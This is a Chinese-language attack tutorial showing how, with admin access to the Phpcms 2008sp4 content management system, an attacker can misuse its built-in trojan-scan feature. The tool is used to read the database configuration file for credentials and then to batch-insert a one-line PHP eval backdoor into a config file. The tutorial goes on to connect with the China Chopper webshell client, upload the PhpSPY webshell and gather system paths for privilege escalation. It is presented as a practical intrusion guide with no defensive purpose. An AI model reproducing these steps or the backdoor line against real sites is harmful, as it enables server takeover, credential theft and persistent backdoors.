PHPCMS 2008系列,最早发布于2008年12月,历经近2年的系统完善,现在已经拥有内容模型、会员、问吧、黄页、分类信息、视频、专题、财务、订单、广告、邮件订阅、短消息、自定义表单、全站搜索等20多个功能模块,内置新闻、图片、下载、信息、产品5大内容模型。Phpcms 2008采用模块化开发,支持内容模型和会员模型,并且可以自定义字段,是深受广大用户喜爱的开源网站内容管理系统软件,目前该软件的最新版本为Phpcms2008sp4,通过对该系统的研究,发现在获取了管理员权限的情况下,通过木马扫描可以快捷的获取Webshell权限。
1.获取Phpcms版本号
Phpcms2008sp4的默认后台地址是admin.php,输入管理员名称和用户密码即可进入。通过后台首页可以看到phpcms的版本号即“Phpcms2008sp4 20110406”。
图1 获取phpcms的版本号
2.扫描木马
单击“系统设置”-“系统工具”-“木马扫描”-“扫描木马”,如图2所示,进入木马扫描设置页面。在文件类型中选择php,特征函数使用默认的即可。特征代码使用“dbpw”,然后单击“开始扫描”。
图2 扫描木马设置
注意:在文件类型中默认增加了JS代码扫描,由于是要提权因此去掉JS文件类型,可加快文件扫描速度。如图3所示,程序开始扫描并提示进度等信息。
图3 开始扫描程序文件
3.查看扫描结果
Phpcms2008sp4版本中扫描木马模块可以对系统所有存在特征代码的文件进行内容查看,如图4所示,当扫描结束后会将扫描的结果按照列表的方式进行显示。并提示哪些文件包含特征代码。在本例中,可以看到有很多文件,通过该方法可以获取数据库配置文件的信息。
图4查看扫描结果文件
选中一个需要查看的文件,然后在扫描结果列表中操作中,单击“查看”按钮即可查看相应文件的源代码,如图5所示。通过该方法可以很方面的获取数据库配置文件等信息。
图5 查看程序源代码
4.获取数据库密码
在本例中选中“include/config.inc.php”,如图6所示,可以直接查看文件代码,如果系统中存在Webshell,那么该方法可以快速获取Webshell的密码。
图6 获取数据库连接密码
5.修改文件获得Webshell
先从需要替换的文件中,选定一个独立段的注释性文字,例如“//MemCache服务器配置”,然后回到木马扫描结果文件列表中,并选中需要替换的文件,并从单击“批量替换”,接着会出来一个文件替换页面,如图7所示,在替换成文本框中输入“eval($_POST[‘antian365.com’]);”,在“要替换的内容”中输入“/MemCache服务器配置””,单击提交,即可将一句话木马插入到配置文件中。
图7 插入一句话后门到文件中
6.成功获取Webshell
使用中国菜刀一句话木马管理端,在其中先添加一个shell地址并输入连接密码,然后直接连接Webshell地址,如图8所示,成功获取Webshell。
图8 成功获取Webshell
7.上传大马
利用中国菜刀将大马PhpSPY上传到服务器上,在浏览器中查看,如图9所示,成功运行。Phpcms2008sp4中还提供了系统的路径等信息,该模块也在系统设置中,单击系统环境检测,如图10所示,即可操作系统类型,网站的真实物理地址等信息,这些信息对于提权来说至关重要。
图9 成功运行phpspy
图10 Phpcms2008sp4提供的系统检测信息